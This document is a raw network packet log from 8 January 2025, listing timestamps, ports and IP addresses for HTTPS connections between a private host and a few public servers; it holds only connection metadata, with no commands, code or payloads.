Jan 8, 2025 15:44:34.996629953 CET	443	49728	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.996651888 CET	49728	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:34.996654034 CET	443	49728	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.996665955 CET	443	49728	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.996701956 CET	49728	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:34.997149944 CET	443	49728	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.997220993 CET	49728	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:34.997229099 CET	443	49728	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.997277021 CET	443	49728	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.997350931 CET	49728	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:34.997358084 CET	443	49728	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.998091936 CET	443	49728	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.998133898 CET	443	49728	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.998148918 CET	49728	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:34.998157024 CET	443	49728	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.998204947 CET	49728	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:34.998210907 CET	443	49728	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.998235941 CET	443	49728	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:34.998281002 CET	49728	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:34.998699903 CET	49728	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:34.998711109 CET	443	49728	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:35.020658970 CET	49736	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:35.020693064 CET	443	49736	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:35.020775080 CET	49736	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:35.021060944 CET	49737	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:35.021107912 CET	443	49737	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:35.021358967 CET	49738	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:35.021372080 CET	443	49738	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:35.021388054 CET	49737	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:35.021425009 CET	49738	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:35.021718025 CET	49739	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:35.021725893 CET	443	49739	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:35.021842957 CET	49739	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:35.023263931 CET	49736	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:35.023276091 CET	443	49736	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:35.023713112 CET	49737	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:35.023722887 CET	443	49737	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:35.023941994 CET	49738	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:35.023956060 CET	443	49738	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:35.024178028 CET	49739	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:35.024188042 CET	443	49739	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:35.391052961 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:35.391660929 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:35.391679049 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:35.392879009 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:35.392959118 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:35.396373987 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:35.396461010 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:35.396991014 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:35.396998882 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:35.418857098 CET	443	49735	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:35.419105053 CET	49735	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:35.419131994 CET	443	49735	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:35.420556068 CET	443	49735	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:35.420620918 CET	49735	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:35.420670033 CET	443	49734	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:35.420968056 CET	49735	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:35.421072960 CET	443	49735	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:35.421199083 CET	49734	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:35.421211004 CET	443	49734	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:35.421333075 CET	49735	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:35.421340942 CET	443	49735	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:35.422241926 CET	443	49734	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:35.422302008 CET	49734	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:35.422981024 CET	49734	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:35.423044920 CET	443	49734	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:35.423124075 CET	49734	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:35.423130989 CET	443	49734	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:35.438230991 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:35.470185995 CET	49734	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:35.470216036 CET	49735	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:35.474565983 CET	443	49736	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:35.474792004 CET	443	49738	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:35.474822044 CET	49736	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:35.474836111 CET	443	49736	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:35.474936008 CET	49738	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:35.474944115 CET	443	49738	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:35.475902081 CET	443	49736	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:35.475960016 CET	49736	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:35.475991011 CET	443	49738	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:35.476047993 CET	49738	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:35.476466894 CET	49736	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:35.476478100 CET	49736	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:35.476531982 CET	443	49736	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:35.476574898 CET	49736	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:35.476625919 CET	49736	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:35.477047920 CET	49741	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:35.477102995 CET	443	49741	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:35.477291107 CET	49741	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:35.477416039 CET	49738	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:35.477459908 CET	49738	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:35.477487087 CET	443	49738	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:35.477545977 CET	49738	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:35.477552891 CET	443	49738	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:35.477581978 CET	49738	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:35.477606058 CET	49738	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:35.477790117 CET	49742	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:35.477819920 CET	443	49742	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:35.477901936 CET	49742	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:35.478017092 CET	49741	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:35.478040934 CET	443	49741	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:35.478180885 CET	49742	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:35.478192091 CET	443	49742	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:35.486392021 CET	443	49739	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:35.487406015 CET	49739	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:35.487418890 CET	443	49739	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:35.488085032 CET	443	49737	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:35.488306999 CET	49737	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:35.488313913 CET	443	49737	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:35.488487959 CET	443	49739	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:35.488557100 CET	49739	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:35.489098072 CET	49739	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:35.489144087 CET	49739	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:35.489166975 CET	443	49739	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:35.489201069 CET	49739	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:35.489231110 CET	49739	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:35.489361048 CET	443	49737	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:35.489415884 CET	49737	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:35.489511967 CET	49743	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:35.489537954 CET	443	49743	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:35.489603043 CET	49743	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:35.489953041 CET	49737	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:35.490026951 CET	443	49737	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:35.490101099 CET	49737	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:35.490107059 CET	443	49737	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:35.490231037 CET	443	49737	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:35.490268946 CET	49737	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:35.490274906 CET	443	49737	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:35.490283966 CET	49737	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:35.490310907 CET	49737	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:35.490498066 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:35.490515947 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:35.490571022 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:35.490775108 CET	49743	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:35.490793943 CET	443	49743	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:35.490931988 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:35.490942955 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:35.937800884 CET	443	49741	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:35.938035965 CET	49741	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:35.938045025 CET	443	49741	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:35.938277006 CET	443	49742	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:35.938354969 CET	443	49741	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:35.938621998 CET	49742	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:35.938632965 CET	443	49742	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:35.938833952 CET	49741	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:35.938903093 CET	443	49741	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:35.938999891 CET	49741	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:35.939002991 CET	443	49742	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:35.940223932 CET	49742	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:35.940299034 CET	443	49742	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:35.940360069 CET	49742	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:35.949090004 CET	443	49743	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:35.949384928 CET	49743	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:35.949393034 CET	443	49743	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:35.950452089 CET	443	49743	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:35.950524092 CET	49743	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:35.950896025 CET	49743	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:35.950963020 CET	443	49743	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:35.951030016 CET	49743	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:35.968004942 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:35.968245983 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:35.968265057 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:35.969290972 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:35.969371080 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:35.969698906 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:35.969767094 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:35.969887972 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:35.969893932 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:35.979336977 CET	443	49741	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:35.980217934 CET	49742	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:35.980228901 CET	443	49742	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:35.991333008 CET	443	49743	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:35.996280909 CET	49743	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:35.996289015 CET	443	49743	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.012218952 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:36.044219017 CET	49743	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:36.323925972 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.352502108 CET	443	49735	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:36.352549076 CET	443	49735	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:36.352624893 CET	443	49735	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:36.352677107 CET	49735	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:36.353491068 CET	49735	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:36.353507042 CET	443	49735	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:36.364804029 CET	443	49734	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.379218102 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:36.411191940 CET	49734	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:36.411211967 CET	443	49734	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.459192991 CET	49734	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:36.528422117 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.528534889 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.528563976 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.528620958 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.528623104 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:36.528640985 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.528657913 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:36.529371023 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.529407024 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.529417992 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:36.529426098 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.529453993 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.529467106 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:36.529474020 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.529516935 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:36.630724907 CET	443	49734	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.630786896 CET	443	49734	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.630837917 CET	49734	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:36.630851984 CET	443	49734	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.631092072 CET	443	49734	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.631444931 CET	49734	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:36.631450891 CET	443	49734	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.631496906 CET	443	49734	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.631530046 CET	443	49734	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.631573915 CET	49734	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:36.631578922 CET	443	49734	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.631601095 CET	443	49734	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.631620884 CET	49734	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:36.631648064 CET	49734	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:36.631848097 CET	49734	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:36.631859064 CET	443	49734	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.632215023 CET	49746	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:36.632240057 CET	443	49746	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.632330894 CET	49746	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:36.632975101 CET	49746	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:36.632986069 CET	443	49746	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.635215044 CET	49747	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:36.635230064 CET	443	49747	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:36.635303974 CET	49747	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:36.635627985 CET	49747	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:36.635637999 CET	443	49747	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:36.772089005 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.772279024 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.772313118 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.772357941 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.772361040 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:36.772372961 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.772406101 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:36.772876978 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.772921085 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.772927046 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:36.772933960 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.772974968 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:36.772980928 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.773667097 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.773694992 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.773716927 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:36.773725033 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.773780107 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:36.774154902 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.774215937 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.774236917 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.774283886 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:36.774291039 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.774394989 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:36.775027037 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.775110960 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.775147915 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.775199890 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:36.775207996 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.775476933 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:36.776842117 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.776916027 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.776973009 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:36.776981115 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.826215029 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:36.859580994 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.859654903 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.859688044 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.859735012 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.859740019 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:36.859754086 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.859781027 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:36.859798908 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.859998941 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.860048056 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:36.860054970 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.860234976 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.860291958 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:36.860297918 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.860634089 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.860692978 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.860719919 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:36.860728025 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.860738993 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:36.860740900 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.860786915 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.860801935 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:36.860809088 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.860835075 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:36.878209114 CET	443	49741	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.878266096 CET	443	49741	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.878308058 CET	443	49741	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.878330946 CET	49741	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:36.878345013 CET	443	49741	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.878355980 CET	443	49741	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.878397942 CET	49741	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:36.878411055 CET	443	49741	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.878459930 CET	49741	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:36.878467083 CET	443	49741	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.878478050 CET	443	49741	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.878518105 CET	49741	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:36.879165888 CET	49741	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:36.879184961 CET	443	49741	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.879580021 CET	49748	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:36.879601955 CET	443	49748	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.879672050 CET	49748	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:36.880155087 CET	49748	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:36.880168915 CET	443	49748	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.892246008 CET	443	49743	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.892287970 CET	443	49743	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.892370939 CET	443	49743	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.892431974 CET	49743	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:36.899878025 CET	443	49742	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.904849052 CET	49749	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:36.904875040 CET	443	49749	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:36.905186892 CET	49749	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:36.905702114 CET	49749	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:36.905715942 CET	443	49749	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:36.905857086 CET	49743	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:36.905880928 CET	443	49743	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.906143904 CET	49750	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:36.906158924 CET	443	49750	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.906220913 CET	49733	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:36.906255960 CET	49750	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:36.906768084 CET	49750	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:36.906780958 CET	443	49750	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.909096956 CET	49751	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:36.909105062 CET	443	49751	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:36.909188986 CET	49751	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:36.909427881 CET	49751	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:36.909439087 CET	443	49751	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:36.921163082 CET	443	49744	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.954243898 CET	49742	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:36.954265118 CET	443	49742	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:36.969336987 CET	49744	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:36.995230913 CET	443	49709	142.250.185.196	192.168.2.16
Jan 8, 2025 15:44:36.995299101 CET	443	49709	142.250.185.196	192.168.2.16
Jan 8, 2025 15:44:36.995438099 CET	49709	443	192.168.2.16	142.250.185.196
Jan 8, 2025 15:44:37.002219915 CET	49742	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:37.017481089 CET	443	49733	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:37.017539024 CET	443	49733	104.21.28.45	192.168.2.16
